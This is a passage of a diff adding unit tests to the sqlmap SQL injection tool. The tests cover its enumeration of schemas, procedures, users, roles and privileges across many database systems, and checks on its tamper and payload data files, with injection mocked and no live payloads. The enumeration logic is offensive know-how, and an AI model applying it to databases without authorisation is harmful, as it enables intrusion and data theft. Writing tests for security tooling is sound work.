result["testdb"][3]) + self.assertIn("posts", result["testdb"][5]) + + +class TestGetStatements(_BaseEnumTest): + def test_statements_direct_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["SELECT 1"], ["SELECT 2"]] + result = d.getStatements() + self.assertEqual(sorted(result), ["SELECT 1", "SELECT 2"]) + + def test_statements_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["SELECT now()"]] + result = d.getStatements() + self.assertEqual(result, ["SELECT now()"]) + + def test_statements_inference(self): + set_dbms("PostgreSQL") + self._enable_inference() + d = self._fresh() + stmts = ["SELECT a", "SELECT b"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(stmts)) + val = stmts[state["i"] % len(stmts)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getStatements() + self.assertEqual(sorted(result), sorted(stmts)) + + +class TestGetSchema(_BaseEnumTest): + def test_schema_mysql(self): + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + conf.col = None + state = {"n": 0} + + def gv(query, *a, **k): + state["n"] += 1 + if state["n"] == 1: + # getTables call + return [["testdb", "users"]] + # getColumns call + return [["id", "int"]] + + dbmod.inject.getValue = gv + result = d.getSchema() + self.assertIn("testdb", result) + self.assertIn("users", result["testdb"]) + self.assertEqual(result["testdb"]["users"].get("id"), "int") + + +class TestGetProcedures(_BaseEnumTest): + def test_procedures_direct_pgsql(self): + set_dbms("PostgreSQL") + conf.direct = True + d = self._fresh() + dbmod.inject.getValue = lambda query, *a, **k: [["proc_a"], ["proc_b"]] + result = d.getProcedures() + self.assertEqual(sorted(result), ["proc_a", "proc_b"]) + + def test_procedures_inference_mysql(self): + set_dbms("MySQL") + self._enable_inference() + d = self._fresh() + procs = ["sp_one", "sp_two"] + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(procs)) + val = procs[state["i"] % len(procs)] + state["i"] += 1 + return [val] + + dbmod.inject.getValue = gv + result = d.getProcedures() + self.assertEqual(sorted(result), sorted(procs)) + + +# --------------------------------------------------------------------------- # +# Inference / brute-force branches (relocated from test_generic_enum_more.py) +# --------------------------------------------------------------------------- # + +class _DbBase(unittest.TestCase): + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries", "threads") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_checkBool = dbmod.inject.checkBooleanExpression + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_hintValue = kb.get("hintValue") + self._saved_choices = dict(kb.choices) + self._saved_readInput = dbmod.readInput + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + dbmod.inject.checkBooleanExpression = self._saved_checkBool + dbmod.readInput = self._saved_readInput + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + kb.choices.clear() + kb.choices.update(self._saved_choices) + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + def _fresh(self): + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _inference(self): + conf.direct = False + conf.technique = None + conf.threads = 1 # exercise the serial getValue() path these tests mock (>1 takes the value-parallel branch) + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestDatabasesInference(_DbBase): + def test_get_columns_inference_pgsql_types(self): + # Blind column enumeration on PostgreSQL: a count, then for each index a + # column name followed by its type. Assert the {db:{tbl:{col:type}}} parse. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + conf.db = "public" + conf.tbl = "users" + + names = ["id", "email"] + state = {"i": 0, "name": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + if state["name"]: + val = names[state["i"] % len(names)] + state["i"] += 1 + state["name"] = False + return [val] + state["name"] = True + return ["integer"] + + dbmod.inject.getValue = gv + result = d.getColumns() + cols = result["public"]["users"] + self.assertEqual(len(cols), 2) + self.assertEqual(cols.get("id"), "integer") + + def test_get_columns_inference_dump_mode_collist(self): + # dumpMode with an explicit conf.col list: in the inference branch the + # columns are taken straight from colList (no count/type queries at all) + # and stored with value None. Asserting no getValue ran proves the + # dump-mode shortcut, not a network round-trip. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "id,name" + + def boom(*a, **k): + raise AssertionError("dumpMode+colList must not query in inference branch") + + dbmod.inject.getValue = boom + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + # "name" is a reserved word -> safeSQLIdentificatorNaming backtick-quotes it; + # both columns must be present (count, since exact key varies by quoting). + self.assertEqual(len(cols), 2) + self.assertIn("id", cols) + self.assertIsNone(cols.get("id")) + + def test_get_count_over_cached_tables_inference(self): + # getCount with no conf.tbl: it calls getTables() then per-table _tableGetCount. + # Drive the inband table fetch + per-table count and assert the + # {db:{count:[tables]}} grouping (tables sharing a count are grouped). + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + kb.data.cachedTables = {"testdb": ["users", "posts"]} + + counts = {"users": "5", "posts": "5"} + + def gv(query, *a, **k): + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + # both tables have count 5 -> grouped under the same key + self.assertEqual(sorted(result["testdb"][5]), ["posts", "users"]) + + def test_get_statements_count_zero_returns_empty(self): + # Inference path: a zero count short-circuits to the (empty) cache. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + # getStatements compares the count with the int literal 0 (count == 0), so + # the count stub must return an int 0 (not "0") to take the empty branch. + dbmod.inject.getValue = lambda query, *a, **k: 0 if k.get("expected") == EXPECTED.INT else self.fail("must not fetch rows when count is 0") + result = d.getStatements() + self.assertEqual(result, []) + + def test_get_procedures_inference(self): + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + dbmod.inject.getValue = _inference_gv(2, ["sp_a", "sp_b"]) + result = d.getProcedures() + self.assertEqual(sorted(result), ["sp_a", "sp_b"]) + + def test_get_dbs_mssql_inband_paging(self): + # MSSQL with no rows from the primary query falls into the query2 paging + # loop (one indexed query per db until a blank value stops it). + set_dbms("Microsoft SQL Server") + conf.direct = True + d = self._fresh() + dbs = ["master", "model"] + + def gv(query, *a, **k): + # The primary inband query is 'SELECT name FROM master..sysdatabases' + # (no DB_NAME); make it return nothing so getDbs falls into the + # 'SELECT DB_NAME()' paging loop (query2). + if "DB_NAME" not in query: + return None + import re as _re + idx = int(_re.findall(r"DB_NAME\((\d+)\)", query)[0]) + return dbs[idx] if idx < len(dbs) else "" + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), ["master", "model"]) + + def test_get_tables_inference_grouped_per_db(self): + # Blind table enumeration: count for the db, then one table name per index. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "shop" + conf.tbl = None + dbmod.inject.getValue = _inference_gv(2, ["orders", "items"]) + result = d.getTables() + self.assertIn("shop", result) + self.assertEqual(sorted(result["shop"]), ["items", "orders"]) + + +class TestDatabasesBruteForce(_DbBase): + def test_get_columns_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 (no information_schema) forces bruteForce in getColumns; with + # the common-column-existence prompt answered 'N' it returns None without + # issuing any column query. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + + def boom(*a, **k): + raise AssertionError("bruteForce decline must not query columns") + + dbmod.inject.getValue = boom + result = d.getColumns() + self.assertIsNone(result) + + def test_get_columns_bruteforce_dumpmode_collist_on_decline(self): + # bruteForce + decline + dumpMode + colList: the columns from colList are + # stored with None type (the dump-mode salvage branch), not dropped. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "a,b" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + dbmod.inject.getValue = lambda *a, **k: None + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + self.assertEqual(sorted(cols.keys()), ["a", "b"]) + self.assertIsNone(cols.get("a")) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_datafiles.py b/tests/test_datafiles.py new file mode 100644 index 00000000000..f8dbcabe92d --- /dev/null +++ b/tests/test_datafiles.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Repo / data-file invariants - the cheap structural guards that catch whole +bug classes seen this session: tamper contract, per-DBMS query-tag coverage, +errors.xml regex compilation, XML well-formedness, and source ASCII-safety +(the py2 'no coding header' constraint). +""" + +import os +import re +import sys +import glob +import importlib +import unittest +import xml.etree.ElementTree as ET + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, ROOT +bootstrap() + + +class TestTamperContract(unittest.TestCase): + def test_every_tamper_has_contract(self): + names = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")] + self.assertGreater(len(names), 50) # sanity: we expect ~70 + for name in names: + mod = importlib.import_module("tamper.%s" % name) + self.assertTrue(callable(getattr(mod, "tamper", None)), msg="%s: no tamper()" % name) + self.assertTrue(hasattr(mod, "__priority__"), msg="%s: no __priority__" % name) + # dependencies() is OPTIONAL (e.g. randomcomments omits it); if present it must be callable + dep = getattr(mod, "dependencies", None) + self.assertTrue(dep is None or callable(dep), msg="%s: non-callable dependencies" % name) + + def test_every_tamper_priority_is_valid(self): + # __priority__ must be one of the PRIORITY enum values (or None) - a typo'd priority + # silently mis-orders the tamper chain (_setTamperingFunctions sorts on it) + from lib.core.enums import PRIORITY + valid = set(v for n, v in vars(PRIORITY).items() if not n.startswith("_")) + names = [os.path.basename(f)[:-3] for f in glob.glob(os.path.join(ROOT, "tamper", "*.py")) + if not f.endswith("__init__.py")] + for name in names: + mod = importlib.import_module("tamper.%s" % name) + priority = getattr(mod, "__priority__", None) + self.assertTrue(priority is None or priority in valid, + msg="%s: __priority__ %r is not a PRIORITY value" % (name, priority)) + + +class TestQueriesXmlCoverage(unittest.TestCase): + CORE_TAGS = ("cast", "substring", "length", "count", "inference", "comment") + + def test_every_dbms_has_core_tags(self): + tree = ET.parse(os.path.join(ROOT, "data", "xml", "queries.xml")) + dbmses = tree.findall(".//dbms") + self.assertGreaterEqual(len(dbmses), 25) + for dbms in dbmses: + present = set(child.tag for child in dbms.iter()) + missing = [t for t in self.CORE_TAGS if t not in present] + self.assertEqual(missing, [], msg="%s missing core tags: %s" % (dbms.get("value"), missing)) + + +class TestErrorsXmlCompile(unittest.TestCase): + def test_all_error_regexes_compile(self): + tree = ET.parse(os.path.join(ROOT, "data", "xml", "errors.xml")) + regexes = [e.get("regexp") for e in tree.findall(".//error")] + self.assertGreater(len(regexes), 100) + for rgx in regexes: + try: + re.compile(rgx) + except re.error as ex: + self.fail("errors.xml regex does not compile: %r (%s)" % (rgx, ex)) + + +class TestXmlWellFormed(unittest.TestCase): + def test_core_xml_parses(self): + for rel in ("queries.xml", "boundaries.xml", "errors.xml", + os.path.join("payloads", "boolean_blind.xml"), + os.path.join("payloads", "union_query.xml")): + path = os.path.join(ROOT, "data", "xml", rel) + ET.parse(path) # raises on malformed + + def test_banner_xml_parses(self): + for path in glob.glob(os.path.join(ROOT, "data", "xml", "banner", "*.xml")): + ET.parse(path) # raises on malformed + + +class TestSourceAsciiSafety(unittest.TestCase): + # sqlmap source files carry NO coding header, so any non-ASCII byte breaks py2 parsing. + # This guards the exact regression introduced (and fixed) earlier this session. + CODING_RE = re.compile(b"coding[:=]\\s*([-\\w.]+)") + + def test_lib_and_plugins_are_ascii(self): + offenders = [] + for base in ("lib", "plugins"): + for path in glob.glob(os.path.join(ROOT, base, "**", "*.py"), recursive=True) if sys.version_info >= (3, 5) \ + else self._walk(os.path.join(ROOT, base)): + with open(path, "rb") as f: + head = f.read(256) + data = head + f.read() + if self.CODING_RE.search(head): # explicit coding header -> non-ASCII allowed + continue + try: + data.decode("ascii") + except UnicodeDecodeError: + offenders.append(os.path.relpath(path, ROOT)) + self.assertEqual(offenders, [], msg="non-ASCII source w/o coding header (breaks py2): %s" % offenders) + + @staticmethod + def _walk(top): + for dirpath, _, files in os.walk(top): + for fn in files: + if fn.endswith(".py"): + yield os.path.join(dirpath, fn) + + +class TestSettingsIntegrity(unittest.TestCase): + def test_milestone_and_version(self): + from lib.core.settings import HASHDB_MILESTONE_VALUE, VERSION + self.assertTrue(HASHDB_MILESTONE_VALUE) + self.assertTrue(re.match(r"^\d+\.\d+\.\d+", VERSION), msg="unexpected VERSION %r" % VERSION) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_datatypes.py b/tests/test_datatypes.py new file mode 100644 index 00000000000..0bdb18a0059 --- /dev/null +++ b/tests/test_datatypes.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core data structures: AttribDict, OrderedSet, LRUDict, BigArray. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.datatype import AttribDict, OrderedSet, LRUDict +from lib.core.bigarray import BigArray + + +class TestAttribDict(unittest.TestCase): + def test_attr_access(self): + a = AttribDict({"x": 1}) + self.assertEqual(a.x, 1) + a.y = 2 + self.assertEqual(a["y"], 2) + self.assertEqual(a.get("missing", "def"), "def") + + def test_missing_attr_raises(self): + a = AttribDict() + self.assertRaises(AttributeError, lambda: a.nope) + + +class TestOrderedSet(unittest.TestCase): + def test_order_and_dedup(self): + s = OrderedSet() + for v in [3, 1, 3, 2, 1, 2]: + s.add(v) + self.assertEqual(list(s), [3, 1, 2]) + self.assertIn(2, s) + self.assertNotIn(9, s) + self.assertEqual(len(s), 3) + + +class TestLRUDict(unittest.TestCase): + def test_capacity_eviction(self): + l = LRUDict(capacity=2) + l["a"] = 1 + l["b"] = 2 + _ = l["a"] # touch 'a' so 'b' becomes least-recently-used + l["c"] = 3 # evicts 'b' + self.assertEqual(sorted(l.keys()), ["a", "c"]) + self.assertNotIn("b", l) + + def test_values_retained(self): + l = LRUDict(capacity=3) + for i, k in enumerate("abc"): + l[k] = i + self.assertEqual(l["a"], 0) + self.assertEqual(l["c"], 2) + + def test_capacity_one(self): + # extreme: each write evicts the previous key + l = LRUDict(capacity=1) + l["x"] = 1 + l["y"] = 2 + self.assertNotIn("x", l) + self.assertEqual(l["y"], 2) + self.assertEqual(list(l.keys()), ["y"]) + + +class TestBigArray(unittest.TestCase): + def test_basic_ops(self): + b = BigArray() + for i in range(50): + b.append(i) + self.assertEqual(len(b), 50) + self.assertEqual(b[0], 0) + self.assertEqual(b[49], 49) + self.assertEqual(b[-1], 49) # negative indexing + self.assertEqual(list(b)[:3], [0, 1, 2]) + + def test_empty_index_raises(self): + self.assertRaises(IndexError, lambda: BigArray()[0]) + + def test_roundtrip_values(self): + b = BigArray() + data = list(range(100)) + for v in data: + b.append(v) + self.assertEqual([b[i] for i in range(len(b))], data) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_dbms_enum.py b/tests/test_dbms_enum.py new file mode 100644 index 00000000000..97325506378 --- /dev/null +++ b/tests/test_dbms_enum.py @@ -0,0 +1,726 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +DBMS-specific enumeration overrides (plugins/dbms//enumeration.py), +driven through each full DBMS handler with the injection layer mocked, so the +dialect-specific table/column/user/privilege discovery paths run without a live +target, network, or DBMS. The in-band (UNION/error/direct) branch is taken via +conf.direct=True and inject.getValue is stubbed with canned result rows; +conf.batch=True avoids interactive prompts. + +Consolidated from former tests/test_dbms_enum.py (Microsoft SQL Server), +tests/test_dbms_enum_a.py (Oracle/PostgreSQL/MySQL/SQLite) and +tests/test_dbms_enum_b.py (Sybase/MaxDB/MSSQL extra/DB2/Informix/Firebird/HSQLDB). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import importlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject + + +# --------------------------------------------------------------------------- +# Base for Microsoft SQL Server getTables (former test_dbms_enum.py) +# --------------------------------------------------------------------------- + +class _EnumBaseMSSQL(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate.""" + module = None # the enumeration module whose inject.getValue we patch + + def setUp(self): + self._direct = conf.direct + self._db = conf.db + self._gv = self.module.inject.getValue + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + conf.direct = True + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + + def tearDown(self): + conf.direct = self._direct + conf.db = self._db + self.module.inject.getValue = self._gv + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + + +class TestMSSQLServerEnum(_EnumBaseMSSQL): + import plugins.dbms.mssqlserver.enumeration as module + + def _handler(self): + from plugins.dbms.mssqlserver import MSSQLServerMap + set_dbms("Microsoft SQL Server") + return MSSQLServerMap() + + def test_get_tables(self): + # one database (conf.db), single-column rows: getTables keys the cache by + # the db loop variable and stores the rows run through + # arrayize -> unArrayize -> safeSQLIdentificatorNaming -> sorted(). + conf.db = "appdb" + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT else [["users"], ["products"], ["customers"]] + ) + self._handler().getTables() + tables = kb.data.cachedTables + self.assertEqual(list(tables.keys()), ["appdb"]) + stored = tables["appdb"] + # value is a real sorted list (the final sort step), not an echo of input + self.assertEqual(stored, sorted(stored)) + # MSSQL qualifies bare names with the dbo schema; assert exact membership + self.assertIn("dbo.users", stored) + self.assertEqual(stored, ["dbo.customers", "dbo.products", "dbo.users"]) + + def test_get_tables_multiple_dbs(self): + # exercise the per-database keying with two DBs (conf.db = "a,b"): each db + # in the loop gets its OWN sorted table list. Rows are single-column; + # unArrayizeValue collapses each 1-tuple row to the scalar table name. + conf.db = "appdb,salesdb" + + def getValue(q, *a, **k): + if k.get("expected") == EXPECTED.INT: + return 3 + # the query carries the db name (%s substituted); route per database + if "appdb" in q: + return [["users"], ["sessions"], ["accounts"]] + return [["orders"], ["invoices"]] + + self.module.inject.getValue = getValue + self._handler().getTables() + tables = kb.data.cachedTables + # exactly the two requested databases, each mapped to its own sorted list + self.assertEqual(sorted(tables.keys()), ["appdb", "salesdb"]) + self.assertEqual(tables["appdb"], ["dbo.accounts", "dbo.sessions", "dbo.users"]) + self.assertEqual(tables["salesdb"], ["dbo.invoices", "dbo.orders"]) + + +# --------------------------------------------------------------------------- +# Base for Oracle/PostgreSQL/MySQL/SQLite (former test_dbms_enum_a.py) +# --------------------------------------------------------------------------- + +class _EnumBaseA(unittest.TestCase): + """Snapshot/restore the global state these enumerators mutate. + + Other tests in the suite depend on clean globals (a leaked kb.hintValue + breaks test_inference_engine; a leaked forced DBMS breaks others), so every + knob touched here is captured in setUp and put back in tearDown. + """ + + # the enumeration module whose inject.getValue we patch (overridden per DBMS) + module = None + + def setUp(self): + # conf knobs + self._direct = conf.direct + self._batch = conf.batch + self._user = conf.user + self._db = conf.get("db") + self._tbl = conf.get("tbl") + self._exclude = conf.get("exclude") + + # injection layer (some override modules - e.g. SQLite/PostgreSQL - do not + # import inject because their overrides return constants without querying) + self._has_inject = hasattr(self.module, "inject") + if self._has_inject: + self._gv = self.module.inject.getValue + + # kb.data cached* containers + self._cachedTables = kb.data.get("cachedTables") + self._cachedColumns = kb.data.get("cachedColumns") + self._cachedDbs = kb.data.get("cachedDbs") + self._cachedUsers = kb.data.get("cachedUsers") + self._cachedUsersRoles = kb.data.get("cachedUsersRoles") + self._cachedUsersPrivileges = kb.data.get("cachedUsersPrivileges") + self._has_information_schema = kb.data.get("has_information_schema") + + # state other tests are sensitive to + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._forcedDbms = Backend.getForcedDbms() + self._stickyDBMS = kb.stickyDBMS + + # avoid readInput EOFError flakiness and interactive prompts + conf.direct = True + conf.batch = True + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.user = self._user + conf.db = self._db + conf.tbl = self._tbl + conf.exclude = self._exclude + + if self._has_inject: + self.module.inject.getValue = self._gv + + kb.data.cachedTables = self._cachedTables + kb.data.cachedColumns = self._cachedColumns + kb.data.cachedDbs = self._cachedDbs + kb.data.cachedUsers = self._cachedUsers + kb.data.cachedUsersRoles = self._cachedUsersRoles + kb.data.cachedUsersPrivileges = self._cachedUsersPrivileges + kb.data.has_information_schema = self._has_information_schema + + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.stickyDBMS = self._stickyDBMS + if self._forcedDbms is not None: + Backend.forceDbms(self._forcedDbms) + else: + kb.forcedDbms = None + + +class TestOracleEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.oracle.enumeration") + + def _handler(self): + from plugins.dbms.oracle import OracleMap + set_dbms("Oracle") + return OracleMap() + + def test_get_roles(self): + # rows are [GRANTEE, GRANTED_ROLE]; first column is the user, the rest roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["SYS", "DBA"], ["SYS", "CONNECT"], ["SCOTT", "RESOURCE"] + ] + roles, areAdmins = self._handler().getRoles() + self.assertIn("SYS", roles) + self.assertIn("SCOTT", roles) + self.assertEqual(set(roles["SYS"]), {"DBA", "CONNECT"}) + # DBA implies administrator + self.assertIn("SYS", areAdmins) + + def test_get_roles_filtered_by_user(self): + # conf.user populates a WHERE clause; canned rows still drive the parse + conf.user = "SCOTT" + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [["SCOTT", "RESOURCE"]] + roles, _ = self._handler().getRoles() + self.assertEqual(list(roles.keys()), ["SCOTT"]) + self.assertEqual(roles["SCOTT"], ["RESOURCE"]) + + def test_get_roles_multiple_roles_per_user(self): + # a user appearing across several rows accumulates all granted roles + conf.user = None + kb.data.cachedUsersRoles = {} + self.module.inject.getValue = lambda q, *a, **k: [ + ["APP", "CONNECT"], ["APP", "RESOURCE"], ["APP", "CREATE SESSION"] + ] + roles, _ = self._handler().getRoles() + self.assertEqual( + set(roles["APP"]), {"CONNECT", "RESOURCE", "CREATE SESSION"} + ) + + +class TestPostgreSQLEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.postgresql.enumeration") + + def _handler(self): + from plugins.dbms.postgresql import PostgreSQLMap + set_dbms("PostgreSQL") + return PostgreSQLMap() + + def test_get_hostname_unsupported(self): + # PostgreSQL overrides getHostname purely to warn; it returns None + self.assertIsNone(self._handler().getHostname()) + + +class TestMySQLEnum(_EnumBaseA): + # MySQL's enumeration.py adds no overrides (it is a bare `pass`); cover the + # generic discovery path through the full MySQL handler instead. + module = importlib.import_module("plugins.generic.enumeration") + + def _handler(self): + from plugins.dbms.mysql import MySQLMap + set_dbms("MySQL") + return MySQLMap() + + def test_get_dbs(self): + conf.db = None + kb.data.cachedDbs = [] + kb.data.has_information_schema = True + self.module.inject.getValue = lambda q, *a, **k: ( + 3 if k.get("expected") == EXPECTED.INT + else [["information_schema"], ["testdb"], ["mysql"]] + ) + dbs = self._handler().getDbs() + self.assertIn("testdb", dbs) + self.assertEqual(set(kb.data.cachedDbs), set(dbs)) + + +class TestSQLiteEnum(_EnumBaseA): + module = importlib.import_module("plugins.dbms.sqlite.enumeration") + + def _handler(self): + from plugins.dbms.sqlite import SQLiteMap + set_dbms("SQLite") + return SQLiteMap() + + def test_unsupported_simple_overrides(self): + # SQLite overrides these to a warning + an empty/neutral return value + h = self._handler() + self.assertIsNone(h.getCurrentUser()) + self.assertIsNone(h.getCurrentDb()) + self.assertIsNone(h.getHostname()) + self.assertEqual(h.getUsers(), []) + self.assertEqual(h.getDbs(), []) + self.assertEqual(h.searchDb(), []) + self.assertEqual(h.getStatements(), []) + self.assertEqual(h.getPasswordHashes(), {}) + self.assertEqual(h.getPrivileges(), {}) + + def test_is_dba_always_true(self): + # on SQLite the current user is treated as having all privileges + self.assertTrue(self._handler().isDba()) + + def test_search_column_raises(self): + with self.assertRaises(SqlmapUnsupportedFeatureException): + self._handler().searchColumn() + + +# --------------------------------------------------------------------------- +# Base + helpers for Sybase/MaxDB/MSSQL extra/DB2/Informix/Firebird/HSQLDB +# (former test_dbms_enum_b.py) +# --------------------------------------------------------------------------- + +def _fresh_cached(): + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedUsers = [] + kb.data.cachedUsersPrivileges = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.banner = None + + +class _NoOpDumper(object): + """Swallow every dumper call so search methods don't emit/prompt.""" + + def __getattr__(self, name): + return lambda *a, **k: None + + +def _handler(display_name, dirname): + """Instantiate the full *Map handler for the given DBMS.""" + set_dbms(display_name) + main = importlib.import_module("plugins.dbms.%s" % dirname) + cls = [getattr(main, n) for n in dir(main) if n.endswith("Map")][0] + return cls() + + +class _EnumBaseB(unittest.TestCase): + """Snapshot/restore every global these enumerators mutate.""" + + # subclasses set these + display_name = None + dirname = None + + def setUp(self): + # config snapshot + self._direct = conf.direct + self._batch = conf.batch + self._db = conf.db + self._tbl = conf.tbl + self._col = conf.col + self._user = conf.user + self._exclude = conf.exclude + self._search = conf.search + self._getBanner = conf.getBanner + self._excludeSysDbs = conf.excludeSysDbs + self._dumper = conf.get("dumper") + + # kb snapshot + self._cached = {k: kb.data.get(k) for k in ( + "cachedDbs", "cachedTables", "cachedColumns", "cachedUsers", + "cachedUsersPrivileges", "cachedCounts", "cachedStatements", "banner", + )} + self._hintValue = kb.hintValue + self._injectionData = kb.injection.data + self._currentDb = kb.data.get("currentDb") + self._hasIS = kb.data.get("has_information_schema") + + # injection layer snapshot + self._gv = inject.getValue + self._cbe = getattr(inject, "checkBooleanExpression", None) + + # baseline config the in-band/non-interactive paths need + conf.direct = True + conf.batch = True + kb.data.has_information_schema = True + _fresh_cached() + + # restore the chosen DBMS for every test + self.handler = _handler(self.display_name, self.dirname) + # the enumeration module whose pivotDumpTable some tests stub + self.em = importlib.import_module("plugins.dbms.%s.enumeration" % self.dirname) + + def tearDown(self): + conf.direct = self._direct + conf.batch = self._batch + conf.db = self._db + conf.tbl = self._tbl + conf.col = self._col + conf.user = self._user + conf.exclude = self._exclude + conf.search = self._search + conf.getBanner = self._getBanner + conf.excludeSysDbs = self._excludeSysDbs + conf.dumper = self._dumper + + for k, v in self._cached.items(): + kb.data[k] = v + kb.hintValue = self._hintValue + kb.injection.data = self._injectionData + kb.data.currentDb = self._currentDb + kb.data.has_information_schema = self._hasIS + + inject.getValue = self._gv + if self._cbe is not None: + inject.checkBooleanExpression = self._cbe + if hasattr(self.em, "pivotDumpTable"): + # restore the pristine reference from the wrapper module + import lib.utils.pivotdumptable as _pdt + self.em.pivotDumpTable = _pdt.pivotDumpTable + + +# --------------------------------------------------------------------------- +# Sybase +# --------------------------------------------------------------------------- + +class TestSybaseEnum(_EnumBaseB): + display_name = "Sybase" + dirname = "sybase" + + def _pivot(self, *value_lists): + """Make em.pivotDumpTable return canned (entries, lengths) per call. + + Each successive call pops the next mapping of {colName: [values]}. + """ + calls = list(value_lists) + + def fake(table, colList, count=None, blind=True, alias=None): + mapping = calls.pop(0) if calls else {} + entries = {} + lengths = {} + for col in colList: + vals = mapping.get(col.split(".")[-1], []) + entries[col] = list(vals) + lengths[col] = 0 + return entries, lengths + + self.em.pivotDumpTable = fake + + def test_get_users(self): + self._pivot({"name": ["sa", "guest"]}) + users = self.handler.getUsers() + self.assertIn("sa", users) + self.assertIn("guest", users) + + def test_get_dbs(self): + self._pivot({"name": ["master", "model"]}) + dbs = self.handler.getDbs() + self.assertEqual(sorted(dbs), ["master", "model"]) + + def test_get_tables(self): + conf.db = "testdb" + self._pivot({"name": ["users", "logs"]}) + tables = self.handler.getTables() + self.assertIn("testdb", tables) + self.assertEqual(sorted(tables["testdb"]), ["logs", "users"]) + + def test_get_columns(self): + conf.db = "testdb" + conf.tbl = "users" + # column pivot returns name + usertype: REAL Sybase numeric type ids that + # getColumns resolves through SYBASE_TYPES (7 -> "int", 2 -> "varchar"). + from lib.core.dicts import SYBASE_TYPES + 